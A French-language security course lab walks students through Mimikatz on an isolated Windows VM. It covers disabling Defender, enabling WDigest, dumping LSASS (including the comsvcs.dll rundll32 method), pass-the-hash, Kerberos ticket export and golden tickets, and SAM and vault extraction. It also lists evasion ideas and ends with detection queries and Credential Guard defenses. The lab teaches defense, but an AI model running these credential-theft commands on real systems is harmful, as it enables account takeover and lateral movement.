Lab 8.1: Mimikatz - Extraction de Credentials Live
Objectifs d'Apprentissage
À la fin de ce laboratoire, vous serez capable de:
- Comprendre comment Windows stocke les credentials en mémoire
- Utiliser Mimikatz pour extraire des mots de passe en clair depuis la RAM
- Extraire des hash NTLM pour Pass-the-Hash
- Comprendre le fonctionnement de LSASS (Local Security Authority Subsystem Service)
- Dumper les tickets Kerberos
- Réaliser des attaques Pass-the-Hash et Pass-the-Ticket
- Comprendre pourquoi Credential Guard est essentiel
- Détecter l'utilisation de Mimikatz sur un système
- Implémenter des protections contre ces attaques
Durée Estimée
45 minutes
Prérequis
- VM Windows 10/11
- Droits administrateur
- Compréhension de l'authentification Windows
- Lab 3.1 (extraction credentials) complété pour contexte
- Antivirus désactivé temporairement (pour lab uniquement)
Contexte Professionnel
Mimikatz est l'outil le plus célèbre et redouté en sécurité Windows. Créé par Benjamin Delpy, il démontre que Windows stocke des credentials en mémoire de manière récupérable.
Mimikatz est utilisé par:
- Pentesters lors de tests d'intrusion
- Red Teams pour simulations d'attaques
- Attaquants APT (Advanced Persistent Threats)
- Ransomware pour lateral movement
- Forensics pour investigation
Impact historique:
- Révélation des faiblesses de stockage credentials Windows
- Utilisé dans presque toutes les attaques majeures depuis 2011
- Outil standard dans tout pentest Windows
- A forcé Microsoft à développer Credential Guard
Attaques célèbres utilisant Mimikatz:
- NotPetya (2017) - Ransomware dévastateur
- BadRabbit (2017) - Ransomware ciblant Ukraine
- Carbanak (2015) - Vol de 1 milliard USD banques
- Industroyer (2016) - Attaque infrastructure électrique
AVERTISSEMENT ÉTHIQUE ET LÉGAL - EXTRÊMEMENT IMPORTANT
MIMIKATZ EST UN OUTIL EXTRÊMEMENT PUISSANT
Mimikatz permet d'extraire TOUS les mots de passe en mémoire, incluant:
- Mots de passe en clair
- Hash NTLM
- Tickets Kerberos
- Certificats
AUTORISÉ UNIQUEMENT:
- Sur votre VM de test personnelle
- Sur des systèmes dont vous êtes propriétaire
- Dans le cadre de tests de pénétration avec contrat écrit et autorisation explicite
- Pour investigation forensique avec mandat légal
STRICTEMENT INTERDIT:
- Sur des systèmes d'entreprise sans autorisation formelle
- Sur des ordinateurs qui ne vous appartiennent pas
- Pour vol de credentials d'autrui
- Pour accès non autorisé à des systèmes
CONSÉQUENCES LÉGALES: Utilisation non autorisée de Mimikatz = Accès illégal à système informatique + Vol de données d'authentification (Code criminel art. 342.1). Crime grave avec prison et amendes massives.
DÉTECTION:
- Tous les antivirus détectent Mimikatz immédiatement
- EDR (Endpoint Detection and Response) alerte en temps réel
- SIEM corrèle les événements
- Utilisation laisse des traces dans les logs
POUR CE LAB:
- VM Windows isolée (réseau interne)
- Pas d'accès Internet
- Antivirus désactivé UNIQUEMENT pour durée du lab
- Réactiver immédiatement après
Partie 1: Comprendre le Stockage de Credentials Windows
Étape 1.1: LSASS (Local Security Authority Subsystem Service)
LSASS.exe:
- Processus Windows critique
- Gère l'authentification utilisateur
- Stocke les credentials en mémoire pour Single Sign-On (SSO)
- Tourne avec privilèges SYSTEM
Que stocke LSASS:
Quand vous vous connectez à Windows:
1. Vous entrez: username + password
2. Windows valide les credentials
3. LSASS stocke en mémoire:
- Mot de passe en clair (si WDigest activé)
- Hash NTLM du mot de passe
- Tickets Kerberos (si domaine Active Directory)
- Tokens d'authentification
Pourquoi: Pour permettre SSO (Single Sign-On)
- Vous entrez mot de passe UNE fois au login
- Windows l'utilise automatiquement pour accès réseau, services, etc.
- Pratique MAIS dangereux si compromis!
Étape 1.2: WDigest et Cleartext Passwords
WDigest Authentication Protocol:
- Protocole ancien pour HTTP Digest authentication
- Stockait les mots de passe EN CLAIR dans LSASS!
- Activé par défaut sur Windows 7, 8, Server 2008/2012
- Désactivé par défaut depuis Windows 8.1 / Server 2012 R2
Vérifier si WDigest est activé:
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential"
Résultat:
1= Activé (passwords en clair stockés!)0ou absent = Désactivé (plus sécurisé)
Questions:
- Qu'est-ce que LSASS et pourquoi est-il critique?
- WDigest est-il activé sur votre système?
Étape 1.3: Types de Credentials Récupérables
Avec Mimikatz, vous pouvez obtenir:
1. Cleartext passwords (si WDigest activé):
Username: admin
Password: MySecretPassword123!
2. Hash NTLM:
NTLM Hash: 8846f7eaee8fb117ad06bdd830b7586c
Utilisation: Pass-the-Hash (connexion sans mot de passe!)
3. Tickets Kerberos:
Golden Ticket, Silver Ticket, TGT
Utilisation: Impersonation, accès à ressources
4. Certificats:
Certificats d'authentification
Clés privées
Partie 2: Installation et Préparation
Étape 2.1: Téléchargement de Mimikatz
Source officielle:
- GitHub: https://github.com/gentilkiwi/mimikatz
- Releases: https://github.com/gentilkiwi/mimikatz/releases
Téléchargez:
mimikatz_trunk.zip(version complète)- Extrayez dans
C:\Tools\mimikatz\
ATTENTION: Antivirus va IMMÉDIATEMENT détecter et supprimer!
Étape 2.2: Désactivation de Windows Defender
PowerShell en administrateur:
Set-MpPreference -DisableRealtimeMonitoring $true
Ajouter exclusion (alternative):
Add-MpPreference -ExclusionPath "C:\Tools\mimikatz"
Vérifier:
Get-MpPreference | Select-Object DisableRealtimeMonitoring
Devrait retourner: True
IMPORTANT: Réactivez après le lab!
Set-MpPreference -DisableRealtimeMonitoring $false
Étape 2.3: Activer WDigest (Pour Démo Passwords Clairs)
Pour voir les passwords en clair, activez WDigest:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
Puis:
- Déconnectez-vous (logout)
- Reconnectez-vous avec votre mot de passe
- Le mot de passe est maintenant en mémoire en clair!
Questions: 3. Windows Defender a-t-il été désactivé? 4. WDigest est-il maintenant activé?
Partie 3: Première Utilisation de Mimikatz
Étape 3.1: Lancement et Privilèges
Ouvrez CMD en tant qu'ADMINISTRATEUR
cd C:\Tools\mimikatz\x64
mimikatz.exe
Interface Mimikatz s'ouvre:
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz #
Obtenir privilèges debug (CRITIQUE):
mimikatz # privilege::debug
Résultat attendu:
Privilege '20' OK
Si "ERROR": Vous n'êtes pas administrateur!
Élever au token SYSTEM:
mimikatz # token::elevate
Résultat:
Token Id : 0
User name : NT AUTHORITY\SYSTEM
Vous êtes maintenant SYSTEM!
Questions: 5. L'obtention de privilège debug a-t-elle réussi? 6. Quel est votre niveau de privilège actuel?
Partie 4: Extraction de Passwords - LA COMMANDE MAGIQUE
Étape 4.1: sekurlsa::logonpasswords
LA COMMANDE LA PLUS PUISSANTE DE MIMIKATZ:
mimikatz # sekurlsa::logonpasswords
ATTENDEZ QUELQUES SECONDES...
RÉSULTAT (exemple):
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : DESKTOP-ABC123$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 11/8/2024 10:30:45 AM
SID : S-1-5-18
msv :
[00000003] Primary
* Username : DESKTOP-ABC123$
* Domain : WORKGROUP
* NTLM : 8846f7eaee8fb117ad06bdd830b7586c
Authentication Id : 0 ; 123456 (00000000:0001e240)
Session : Interactive from 1
User Name : Admin
Domain : DESKTOP-ABC123
Logon Server : DESKTOP-ABC123
Logon Time : 11/8/2024 10:31:12 AM
SID : S-1-5-21-xxx-xxx-xxx-1001
msv :
[00000003] Primary
* Username : Admin
* Domain : DESKTOP-ABC123
* NTLM : 8846f7eaee8fb117ad06bdd830b7586c
* SHA1 : da39a3ee5e6b4b0d3255bfef95601890afd80709
tspkg :
wdigest :
* Username : Admin
* Domain : DESKTOP-ABC123
* Password : MySecretPassword123!
kerberos :
* Username : Admin
* Domain : DESKTOP-ABC123
* Password : MySecretPassword123!
INCROYABLE! Le mot de passe apparaît EN CLAIR:
Password : MySecretPassword123!
TOUS les utilisateurs connectés:
- Leur nom d'utilisateur
- Leur domaine
- Leur mot de passe EN CLAIR!
- Leur hash NTLM
- Leurs tickets Kerberos
BOOM! C'est pour ça que Mimikatz est légendaire!
Étape 4.2: Analyse des Résultats
Chaque session utilisateur affiche:
msv (Microsoft Authentication Package):
- Hash NTLM
- Peut être utilisé pour Pass-the-Hash
tspkg (Terminal Services Package):
- Credentials pour Remote Desktop
wdigest:
- MOT DE PASSE EN CLAIR (si WDigest activé!)
- C'est ici qu'on voit les passwords!
kerberos:
- Tickets d'authentification
- Mot de passe en clair également (si disponible)
livessp:
- Credentials pour Live ID
Étape 4.3: Extraction Ciblée
Extraire seulement les passwords en clair:
mimikatz # sekurlsa::wdigest
Extraire seulement les hash NTLM:
mimikatz # sekurlsa::msv
Extraire seulement tickets Kerberos:
mimikatz # sekurlsa::tickets
Questions: 7. Combien d'utilisateurs aviez-vous des sessions actives? 8. Avez-vous pu voir des mots de passe en clair? 9. Si non, pourquoi? (WDigest désactivé probablement)
Partie 5: Pass-the-Hash Attack
Étape 5.1: Comprendre Pass-the-Hash
Principe:
Normalement:
User entre password → Windows calcule hash NTLM → Utilise hash pour authentification
Mais: Windows accepte DIRECTEMENT le hash!
Donc:
Attaquant a le hash (via Mimikatz)
↓
Utilise le hash directement
↓
Connexion réussie SANS connaître le mot de passe!
C'est comme: Utiliser l'empreinte digitale de quelqu'un sans la personne!
Étape 5.2: Extraction du Hash
Depuis résultats Mimikatz, notez un hash NTLM:
* Username : Admin
* Domain : DESKTOP-ABC123
* NTLM : 8846f7eaee8fb117ad06bdd830b7586c
Copiez le hash: 8846f7eaee8fb117ad06bdd830b7586c
Étape 5.3: Utiliser le Hash pour Authentification
Avec Mimikatz, authentifiez-vous avec le hash:
mimikatz # sekurlsa::pth /user:Admin /domain:DESKTOP-ABC123 /ntlm:8846f7eaee8fb117ad06bdd830b7586c /run:cmd.exe
Résultat: Une nouvelle fenêtre CMD s'ouvre!
Cette session CMD est authentifiée en tant que Admin SANS avoir entré le mot de passe!
Dans cette nouvelle CMD, testez:
whoami
Résultat: DESKTOP-ABC123\Admin
Accédez à un partage réseau (si vous en avez un):
dir \\192.168.100.20\C$
Accès réussi avec SEULEMENT le hash!
Questions: 10. Le Pass-the-Hash a-t-il fonctionné? 11. Quelles ressources réseau pouvez-vous accéder avec le hash?
Partie 6: Dump LSASS Complet
Étape 6.1: Méthode Alternative - Task Manager
Si Mimikatz n'est pas disponible, vous pouvez dumper LSASS:
- Ouvrez Task Manager (Ctrl+Shift+Esc)
- Onglet "Détails"
- Trouvez
lsass.exe - Clic droit → "Créer un fichier de vidage"
- Fichier créé:
lsass.DMP
Ce fichier contient TOUS les credentials en mémoire!
Étape 6.2: Analyser Dump LSASS avec Mimikatz
Transférez lsass.DMP vers machine d'analyse (offline):
Sur machine d'analyse (sans antivirus):
mimikatz # sekurlsa::minidump lsass.DMP
mimikatz # sekurlsa::logonpasswords
BOOM! Extraction des credentials depuis le dump!
Avantage:
- Pas besoin d'exécuter Mimikatz sur la machine cible
- Analyse offline (pas de détection runtime)
- Dump peut être fait avec outils légitimes (ProcDump, Task Manager)
Commande ProcDump (Sysinternals - légitime!):
procdump.exe -accepteula -ma lsass.exe lsass.dmp
Moins suspect que Mimikatz!
Étape 6.3: Automatisation
Script PowerShell pour dump automatique:
# Trouver PID de LSASS
$lsassPID = (Get-Process lsass).Id
# Créer dump avec comsvcs.dll (méthode native Windows!)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsassPID C:\Temp\lsass.dmp full
Write-Host "LSASS dumped to C:\Temp\lsass.dmp"
Méthode furtive: Utilise une DLL Windows légitime!
Questions: 12. Le dump de LSASS via Task Manager fonctionne-t-il? 13. Pouvez-vous extraire credentials du dump offline?
Partie 7: Tickets Kerberos et Golden Ticket
Étape 7.1: Extraire Tickets Kerberos
Lister tous les tickets:
mimikatz # sekurlsa::tickets
Résultat:
Group 0 - Ticket Granting Service
[00000000]
Start/End/MaxRenew: 11/8/2024 10:31:12 AM ; 11/8/2024 8:31:12 PM ; 11/15/2024 10:31:12 AM
Service Name (02) : krbtgt ; DOMAIN.LOCAL ; @ DOMAIN.LOCAL
Target Name (--) : @ DOMAIN.LOCAL
Client Name (01) : Admin ; @ DOMAIN.LOCAL
Flags 40e00000 : pre_authent ; initial ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac
Tickets contiennent:
- TGT (Ticket Granting Ticket)
- Service tickets
- Permettent accès sans re-authentication
Étape 7.2: Exporter des Tickets
Exporter tous les tickets dans fichiers:
mimikatz # sekurlsa::tickets /export
Fichiers créés:
[0;3e4]-0-0-40e00000-DESKTOP$.kirbi
[0;1e240]-2-0-40e10000-Admin.kirbi
...
Ces fichiers .kirbi sont les tickets!
Importez-les sur autre machine:
mimikatz # kerberos::ptt Admin.kirbi
Résultat: Accès avec l'identité de Admin sur autre machine!
Étape 7.3: Golden Ticket (Domaine AD)
NOTE: Nécessite environnement Active Directory.
Si vous avez le hash NTLM du compte KRBTGT:
mimikatz # kerberos::golden /user:Admin /domain:domain.local /sid:S-1-5-21-xxx-xxx-xxx /krbtgt:HASH /ptt
Résultat: Ticket administrateur PERMANENT!
Golden Ticket permet:
- Accès à toutes les ressources du domaine
- Valide 10 ans par défaut
- Indétectable (sauf monitoring Kerberos)
- Survit au changement de mot de passe!
Questions: 14. Combien de tickets Kerberos avez-vous extraits? 15. Qu'est-ce qu'un Golden Ticket et pourquoi est-il si dangereux?
Partie 8: Autres Fonctionnalités de Mimikatz
Étape 8.1: Dump SAM Local
Extraire hash de TOUS les comptes locaux:
mimikatz # lsadump::sam
Résultat:
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 8846f7eaee8fb117ad06bdd830b7586c
RID : 000003e9 (1001)
User : Admin
Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0
Tous les comptes Windows locaux!
Alternative (plus furtif):
mimikatz # lsadump::secrets
Extrait aussi:
- Machine account password
- Service account passwords
- DPAPI master keys
Étape 8.2: Certificats et Clés Privées
Exporter certificats stockés:
mimikatz # crypto::capi
mimikatz # crypto::cng
mimikatz # crypto::certificates /export
Fichiers créés: Certificats et clés privées!
Utilisation:
- Authentification par certificat
- Signature de code
- Chiffrement de données
Étape 8.3: Vault et Credential Manager
Windows Credential Manager stocke:
- Credentials pour Remote Desktop
- Credentials réseau
- Credentials web
- Credentials génériques
Extraire:
mimikatz # vault::list
mimikatz # vault::cred
Résultat:
Credential
Type : domain_password
Server : server.company.com
User : admin
Password : P@ssw0rd123
Credentials stockés dans Credential Manager révélés!
Questions: 16. Combien de credentials sont stockés dans le Credential Manager? 17. Y a-t-il des passwords RDP sauvegardés?
Partie 9: Détection de Mimikatz
Étape 9.1: Signatures Antivirus
Tous les antivirus détectent Mimikatz:
Test:
Réactivez Defender:
Set-MpPreference -DisableRealtimeMonitoring $false
Essayez d'exécuter Mimikatz:
mimikatz.exe
Résultat: Suppression immédiate par Defender!
Logs Windows Defender:
Get-MpThreatDetection | Where-Object {$_.ThreatName -like "*Mimikatz*"}
Étape 9.2: Détection Comportementale (EDR)
Comportements suspects détectés par EDR:
-
Accès au processus LSASS:
- Event ID 4656: Handle to LSASS
- Process: Unknown.exe
- Access: Read Memory
-
Privilège SeDebugPrivilege:
- Event ID 4672: Special privileges assigned
- Nécessaire pour dumper LSASS
-
Lecture mémoire LSASS:
- API: OpenProcess, ReadProcessMemory
- Target: lsass.exe
- Red flag immédiat!
Requête logs Sysmon:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=10} |
Where-Object {$_.Message -like "*lsass.exe*"} |
Select-Object TimeCreated, Message | Format-List
Event ID 10: ProcessAccess (accès à un processus)
Étape 9.3: Détection via Analyse Mémoire
Strings dans la mémoire de Mimikatz:
strings64.exe mimikatz.exe | findstr /i "gentilkiwi sekurlsa"
Signatures uniques:
- "gentilkiwi" (auteur)
- "sekurlsa"
- "A La Vie, A L'Amour" (devise)
Scan mémoire:
Get-Process | ForEach-Object {
$proc = $_
try {
$modules = $proc.Modules | Where-Object {$_.FileName -like "*kiwi*"}
if ($modules) {
Write-Host "SUSPICIOUS: $($proc.ProcessName)" -ForegroundColor Red
}
} catch {}
}
Questions: 18. Windows Defender a-t-il détecté Mimikatz? 19. Comment un EDR détecterait-il Mimikatz même avec antivirus désactivé?
Partie 10: Défenses contre Mimikatz
Étape 10.1: Credential Guard
Windows 10/11 Enterprise - Credential Guard:
Protection hardware contre dump de credentials:
- Utilise Virtualization-Based Security (VBS)
- LSASS s'exécute dans conteneur isolé
- Mimikatz ne peut PAS accéder aux credentials
Vérifier si activé:
Get-ComputerInfo | Select-Object DeviceGuardSecurityServicesConfigured, DeviceGuardSecurityServicesRunning
Activation (Windows Pro/Enterprise + TPM):
# Via registre
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "LsaCfgFlags" /t REG_DWORD /d 1 /f
# Redémarrage requis
shutdown /r /t 0
Avec Credential Guard: Mimikatz échoue!
Étape 10.2: Protections Complémentaires
1. Protected Users Group:
Ajouter utilisateurs au groupe "Protected Users":
Add-ADGroupMember -Identity "Protected Users" -Members Admin
Protections:
- Pas de cache NTLM
- Pas de CredSSP
- Pas de Kerberos DES/RC4
2. Désactiver WDigest (si pas déjà fait):
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
3. LSA Protection (RunAsPPL):
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d 1 /f
LSASS s'exécute en Protected Process:
- Plus difficile à dumper
- Mimikatz basique échoue
- Nécessite driver pour contourner
4. Antivirus et EDR:
- Détection de signatures
- Détection comportementale
- Blocage d'accès à LSASS
5. Logging et Monitoring:
- Sysmon avec config appropriée
- Event ID 4656, 4672, 10 (Sysmon)
- Alertes sur accès LSASS
Étape 10.3: Bonnes Pratiques
Administration:
- Utiliser comptes séparés (admin vs user quotidien)
- Ne pas utiliser compte admin pour navigation web
- Déconnecter sessions quand inutilisées
- Pas de Domain Admin sur postes utilisateurs
- Jump boxes pour administration
Technique:
- Credential Guard sur toutes les machines
- Protected Users pour comptes privilégiés
- LAPS (Local Administrator Password Solution)
- Rotation régulière des mots de passe
- 2FA partout où possible
Monitoring:
- Alertes sur accès à LSASS
- Détection de dump de processus
- Baseline des comportements normaux
- Corrélation d'événements (SIEM)
Questions: 20. Credential Guard est-il activé sur votre système? 21. Quelles autres mesures recommanderiez-vous?
Livrables
À remettre:
-
Rapport d'exploitation (Word/PDF, 5-6 pages):
- Réponses aux 21 questions
- Méthodologie d'utilisation de Mimikatz
- Captures complètes des résultats
- Analyse des credentials extraits (ANONYMISÉS!)
- Explication technique du fonctionnement
-
Captures d'écran (minimum 8):
- Interface Mimikatz
- Commande privilege::debug réussie
- Résultat de sekurlsa::logonpasswords (PASSWORDS FLOUTÉS SI RÉELS!)
- Hash NTLM extraits
- Pass-the-Hash en action
- Dump LSASS via Task Manager
- Tentative avec Defender activé (bloqué)
- Configuration Credential Guard
-
Documentation technique (3 pages):
- Explication détaillée de LSASS
- Processus de stockage credentials en mémoire
- Pourquoi Mimikatz fonctionne
- Évolution des protections Microsoft
-
Plan de défense (2 pages):
- Mesures de protection multi-couches
- Configuration Credential Guard
- Politique de gestion des comptes privilégiés
- Stratégie de monitoring et détection
Critères d'Évaluation
| Critère | Points |
|---|---|
| Compréhension du fonctionnement de Mimikatz et LSASS | 25% |
| Extraction réussie de credentials | 25% |
| Réalisation de Pass-the-Hash | 20% |
| Documentation technique complète | 15% |
| Plan de défense réaliste | 15% |
Commandes de Référence Rapide
Préparation
# Désactiver Defender (lab uniquement!)
Set-MpPreference -DisableRealtimeMonitoring $true
# Activer WDigest (pour passwords clairs)
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
Mimikatz Essentiels
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::wdigest
mimikatz # sekurlsa::msv
mimikatz # sekurlsa::tickets
Pass-the-Hash
mimikatz # sekurlsa::pth /user:USERNAME /domain:DOMAIN /ntlm:HASH /run:cmd.exe
Dump LSASS
# Task Manager GUI
# OU
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# OU
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump PID lsass.dmp full
Analyse Dump
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
Protection
# Credential Guard
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "LsaCfgFlags" /t REG_DWORD /d 1 /f
# LSA Protection
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d 1 /f
# Désactiver WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
Dépannage
Problème: "ERROR kuhl_m_sekurlsa_acquireLSA"
Solution: Mimikatz n'a pas les privilèges nécessaires.
- Exécutez CMD en tant qu'administrateur
- Vérifiez
privilege::debugretourne "OK" - Essayez
token::elevate
Problème: Aucun password en clair affiché
Raison: WDigest désactivé (normal sur Windows 10+)
Solutions:
- Activez WDigest (voir Étape 2.3)
- Déconnectez et reconnectez
- Les hash NTLM sont toujours disponibles même sans WDigest
Problème: "Access Denied" lors du dump LSASS
Solution:
- Exécutez en tant qu'administrateur
- Antivirus peut bloquer (désactivez temporairement)
- Certains EDR bloquent même pour admin
Aller Plus Loin (Optionnel)
Challenge 1: Mimikatz Evasion
Techniques pour éviter détection:
- Obfuscation du binaire
- Chargement en mémoire (invoke-mimikatz)
- Modification du code source et recompilation
- Utilisation d'alternatives (pypykatz, lsassy)
Challenge 2: Analyse Forensique
Sur une machine compromise:
- Identifier traces de Mimikatz
- Analyser logs pour reconstruction de timeline
- Identifier credentials compromis
- Évaluer impact et scope de compromission
Challenge 3: Alternatives à Mimikatz
Recherchez et testez:
- pypykatz (Python implementation)
- lsassy (Dump LSASS via SMB)
- SharpKatz (C# implementation)
- SafetyKatz (in-memory execution)
Ressources Additionnelles
- Mimikatz Official GitHub
- Mimikatz Wiki
- Microsoft: Credential Guard
- MITRE ATT&CK: Credential Dumping
- Detecting Mimikatz
Conclusion
Ce lab vous a enseigné:
- Utilisation de Mimikatz, l'outil légendaire de dump credentials
- Extraction de mots de passe en clair depuis la mémoire RAM
- Technique de Pass-the-Hash pour authentification sans password
- Manipulation de tickets Kerberos
- Multiples méthodes de dump de LSASS
- Détection et défenses contre ces attaques
Leçons critiques:
- Windows stocke les credentials en mémoire de manière récupérable
- Accès administrateur = Accès à TOUS les credentials en mémoire
- WDigest (si activé) stocke passwords EN CLAIR
- Hash NTLM suffit pour authentification (Pass-the-Hash)
- Credential Guard est la seule vraie protection
- Détection est facile mais prévention complexe
Impact de cette connaissance:
- Compréhension profonde de l'authentification Windows
- Importance de la séparation des privilèges
- Nécessité de monitoring et détection
- Credential Guard = Obligatoire en entreprise
- Ne JAMAIS utiliser comptes admin pour tâches quotidiennes
Message final:
Vous venez d'apprendre à utiliser l'outil le plus puissant et redouté en sécurité Windows. Mimikatz a révolutionné le pentesting et forcé Microsoft à revoir leur architecture de sécurité.
Avec un grand pouvoir vient une grande responsabilité.
Utilisez Mimikatz uniquement:
- Sur vos VMs de test
- Dans le cadre de pentests autorisés
- Pour comprendre et DÉFENDRE contre ces attaques
JAMAIS pour:
- Vol de credentials d'autrui
- Accès non autorisé
- Compromission malveillante
Vous comprenez maintenant pourquoi:
- Les antivirus détectent Mimikatz instantanément
- Les EDR alertent sur accès à LSASS
- Credential Guard est essentiel
- La sécurité Windows a évolué depuis Windows 10
Prochaine étape: Lab 8.2 où vous apprendrez à contourner les antivirus avec l'obfuscation et AMSI bypass!
Lab développé dans le cadre du cours Systèmes d'Exploitation - MODULE 8